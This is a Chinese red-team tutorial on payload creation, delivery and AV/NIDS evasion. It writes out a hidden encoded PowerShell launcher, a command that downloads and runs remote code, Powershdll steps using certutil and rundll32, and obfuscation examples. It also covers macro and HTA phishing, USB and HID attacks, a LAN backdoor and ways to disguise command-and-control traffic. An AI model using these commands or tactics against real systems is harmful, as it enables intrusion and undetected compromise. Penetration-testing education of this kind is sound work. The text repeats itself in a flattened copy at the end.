红队测试从0到1 - PART 2
字数 2496 2025-08-29 08:32:30

红队测试从0到1 - PART 2:有效载荷创建与投递及AV/NIDS规避技术

一、有效载荷创建技术

3.1 一句话Powershell有效载荷

  • 特点:整个第一阶段经过base64编码,使用Powershell iex(Invoke Expression)执行
  • 执行方式:Powershell -W Hidden -nop -noni -enc <base64 payload>
  • 应用场景:可嵌入宏指令、HTA文件或作为OLE对象嵌入
  • 缺点:容易被AV检测

3.2 Windows下一句话下载和执行任意代码

  • 实现方式:
    • Powershell
    • Wscript
    • mshta
    • rundll32
    • Wmic
    • regsvr32
    • MSBuild
  • Powershell示例:
    Powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials; iwr('http://webserver/payload.ps1')|iex"
    

3.3 HID有效载荷

  • 适用场景:邮件投递失败或被检测时使用
  • 设备选择:
    • Bash bunny
    • 橡皮鸭(Rubber ducky)
    • 自制Arduino pro micro
  • 执行方式:
    • 使用不同文件扩展名(bat、SCT、lnk等)执行Powershell
    • 将整个Empire Powershell有效载荷写入设备执行
  • 优缺点:
    • 发现机会小
    • 文件落地磁盘会留下较多取证证据

3.4 不运行powershell.exe执行Powershell的方法

3.4.1 使用Powershdll

  • 步骤:
    1. 将dll文件转换为base64:base64 Powershdll.dll > Powershdll_b64.txt
    2. 使用HID设备传输到受害者机器
    3. 解码为dll文件:certutil -decode Powershdll_b64.txt output.dll
    4. 执行:rundll32 output,main "Powershell script"
  • 执行base64编码脚本:
    rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
    

其他技术

  • 使用MSBuild utility构建exe文件
  • 构建不调用Powershell.exe的SCT文件

二、有效载荷投递方法

4.1 邮件投递

  • 当前有效的三种方式:

    1. Office宏(最佳选择,多数企业默认启用)
    2. HTA文件(由Microsoft HTML Application Host - mshta.exe执行)
    3. Office DDE漏洞(已被修补,最新版Office不可用)
  • 不推荐的方式:

    • 浏览器漏洞(除非有最新IE 0day)
    • 投递EXE(严格检查和行为监控)
    • Microsoft Office OLE漏洞(90%被检测)
    • Java偷渡式下载漏洞(多数被端点保护检测)
  • 增强隐蔽性的技巧:

    • 检查特定Windows域后才解密执行
    • 检查公网IP地址确保在目标企业中执行

4.2 物理入侵/社会工程投递

4.2.1 Konboot(密码绕过工具)

  • 特点:
    • 装在USB驱动器中的便携式Linux系统
    • 不删除或更改密码,仅临时绕过
    • 商业许可证约75美元
  • 域系统技巧:
    • 拔掉LAN电缆,插入konboot USB重启
    • 绕过密码后重新插入LAN电缆

4.2.2 HID设备

  • 推荐设备:
    • Rubber ducky
    • Bash bunny
    • Kali Nethunter(Android手机模拟HID)
  • 执行方式:
    • 自动打开cmd/Powershell/记事本输入有效载荷
    • 创建.bat/.vbscript/.HTA文件并执行
  • 最佳实践:
    • 使用内存中运行的有效载荷(如Powershell Invoke-Expression)

4.2.3 网络植入(隐藏远程后门)

  • 推荐设备:LAN Turtle
  • 功能:
    • AutoSSH/OpenVPN
    • 响应程序模块捕获NTLM Hash
  • 部署方式:
    • 与LAN线一起插入CPU
    • 使用USB充电器供电

三、AV/端点保护/NIDS规避技术

5.1 防病毒/端点逃避

5.1.1 基本原则

  • 避免使用可执行文件投递有效载荷
  • 使用系统自带工具:
    • Powershell
    • WMI
    • mshta
    • Wscript
    • regsvr32等

5.1.2 Powershell攻击有效性

  • Win10有AMSI(防恶意程序扫描接口)增加难度
  • 多数企业仍使用Win7

5.1.3 混淆技术

  • 推荐工具:
    1. Invoke-Obfuscation
    2. Revoke-Obfuscation
    3. Invoke-CradleCrafter
    4. Invoke-DOSfuscation
  • 示例:
    • 原始命令:Write-Host 'Test Obfuscation' -Import test
    • 混淆后:
      .("{2}{1}{0}" -f 't','s','Write-Ho')("{2}{5}{1}{3}{0}{4}" -f 'scatio','st','T','Obfu','n','e') -Import ("{1}{0}" -f 'est','t')
      
  • 其他工具:Veil和Shellter(处理可执行文件)

5.2 NIDS逃避

5.2.1 基于签名的NIDS

  • 特点:匹配已知恶意软件流量规则
  • 规避方法:
    • 修改C2指纹:
      • C2服务器域名
      • 协议
      • URL
      • User-Agent
      • 服务器版本
      • 默认页面等

5.2.2 基于异常流量的NIDS

  • 特点:构建正常流量规则,机器学习检测异常
规避技术:
  1. 选择正确的C2通信协议

    • 可选协议:TCP, HTTP(s), DNS, ICMP或自定义协议
    • 最佳选择:混合流量,常用协议如HTTP或DNS
    • DNS限制:传输速度慢,大量加密请求可能引起怀疑
  2. 选择正确的C2域名

    • 避免使用IP地址
    • 检查域名声誉
    • 优先选择:
      • 医疗保健或金融类域名
      • 老域名(非新购)
  3. 在正常流量中混合C2流量

    • 增加回调时间(默认5s)
    • 使用抖动和更长延迟
    • 平衡操作效率与隐蔽性
  4. 使用带合法证书的SSL加密C2流量

    • 使用正规CA签名的有效证书
    • 加密整个通信过程
    • 注意目标企业是否解密SSL流量进行检查

四、总结与关键点

  1. 红队测试是持续对抗过程:AV/NIDS逃避技术需要不断更新

  2. 因地制宜:根据目标安全策略选择合适的技术组合

    • 示例:银行IP白名单环境下可使用DNS进行C2通信
  3. 准备充分是关键:红队需要全面了解防御机制工作原理才能有效规避

  4. 技术选择优先级

    • 有效载荷:内存执行 > 文件落地
    • 投递方式:社会工程 > 纯技术攻击
    • 规避技术:混淆 > 直接对抗
  5. 持续学习:关注安全社区最新研究和技术发展,如AMSI绕过技术等

红队测试从0到1 - PART 2:有效载荷创建与投递及AV/NIDS规避技术 一、有效载荷创建技术 3.1 一句话Powershell有效载荷 特点:整个第一阶段经过base64编码,使用Powershell iex(Invoke Expression)执行 执行方式: Powershell -W Hidden -nop -noni -enc <base64 payload> 应用场景:可嵌入宏指令、HTA文件或作为OLE对象嵌入 缺点:容易被AV检测 3.2 Windows下一句话下载和执行任意代码 实现方式: Powershell Wscript mshta rundll32 Wmic regsvr32 MSBuild Powershell示例: 3.3 HID有效载荷 适用场景:邮件投递失败或被检测时使用 设备选择: Bash bunny 橡皮鸭(Rubber ducky) 自制Arduino pro micro 执行方式: 使用不同文件扩展名(bat、SCT、lnk等)执行Powershell 将整个Empire Powershell有效载荷写入设备执行 优缺点: 发现机会小 文件落地磁盘会留下较多取证证据 3.4 不运行powershell.exe执行Powershell的方法 3.4.1 使用Powershdll 步骤: 将dll文件转换为base64: base64 Powershdll.dll > Powershdll_b64.txt 使用HID设备传输到受害者机器 解码为dll文件: certutil -decode Powershdll_b64.txt output.dll 执行: rundll32 output,main "Powershell script" 执行base64编码脚本: 其他技术 使用MSBuild utility构建exe文件 构建不调用Powershell.exe的SCT文件 二、有效载荷投递方法 4.1 邮件投递 当前有效的三种方式: Office宏(最佳选择,多数企业默认启用) HTA文件(由Microsoft HTML Application Host - mshta.exe执行) Office DDE漏洞(已被修补,最新版Office不可用) 不推荐的方式: 浏览器漏洞(除非有最新IE 0day) 投递EXE(严格检查和行为监控) Microsoft Office OLE漏洞(90%被检测) Java偷渡式下载漏洞(多数被端点保护检测) 增强隐蔽性的技巧: 检查特定Windows域后才解密执行 检查公网IP地址确保在目标企业中执行 4.2 物理入侵/社会工程投递 4.2.1 Konboot(密码绕过工具) 特点: 装在USB驱动器中的便携式Linux系统 不删除或更改密码,仅临时绕过 商业许可证约75美元 域系统技巧: 拔掉LAN电缆,插入konboot USB重启 绕过密码后重新插入LAN电缆 4.2.2 HID设备 推荐设备: Rubber ducky Bash bunny Kali Nethunter(Android手机模拟HID) 执行方式: 自动打开cmd/Powershell/记事本输入有效载荷 创建.bat/.vbscript/.HTA文件并执行 最佳实践: 使用内存中运行的有效载荷(如Powershell Invoke-Expression) 4.2.3 网络植入(隐藏远程后门) 推荐设备:LAN Turtle 功能: AutoSSH/OpenVPN 响应程序模块捕获NTLM Hash 部署方式: 与LAN线一起插入CPU 使用USB充电器供电 三、AV/端点保护/NIDS规避技术 5.1 防病毒/端点逃避 5.1.1 基本原则 避免使用可执行文件投递有效载荷 使用系统自带工具: Powershell WMI mshta Wscript regsvr32等 5.1.2 Powershell攻击有效性 Win10有AMSI(防恶意程序扫描接口)增加难度 多数企业仍使用Win7 5.1.3 混淆技术 推荐工具: Invoke-Obfuscation Revoke-Obfuscation Invoke-CradleCrafter Invoke-DOSfuscation 示例: 原始命令: Write-Host 'Test Obfuscation' -Import test 混淆后: 其他工具:Veil和Shellter(处理可执行文件) 5.2 NIDS逃避 5.2.1 基于签名的NIDS 特点:匹配已知恶意软件流量规则 规避方法: 修改C2指纹: C2服务器域名 协议 URL User-Agent 服务器版本 默认页面等 5.2.2 基于异常流量的NIDS 特点:构建正常流量规则,机器学习检测异常 规避技术: 选择正确的C2通信协议 可选协议:TCP, HTTP(s), DNS, ICMP或自定义协议 最佳选择:混合流量,常用协议如HTTP或DNS DNS限制:传输速度慢,大量加密请求可能引起怀疑 选择正确的C2域名 避免使用IP地址 检查域名声誉 优先选择: 医疗保健或金融类域名 老域名(非新购) 在正常流量中混合C2流量 增加回调时间(默认5s) 使用抖动和更长延迟 平衡操作效率与隐蔽性 使用带合法证书的SSL加密C2流量 使用正规CA签名的有效证书 加密整个通信过程 注意目标企业是否解密SSL流量进行检查 四、总结与关键点 红队测试是持续对抗过程 :AV/NIDS逃避技术需要不断更新 因地制宜 :根据目标安全策略选择合适的技术组合 示例:银行IP白名单环境下可使用DNS进行C2通信 准备充分是关键 :红队需要全面了解防御机制工作原理才能有效规避 技术选择优先级 : 有效载荷:内存执行 > 文件落地 投递方式:社会工程 > 纯技术攻击 规避技术:混淆 > 直接对抗 持续学习 :关注安全社区最新研究和技术发展,如AMSI绕过技术等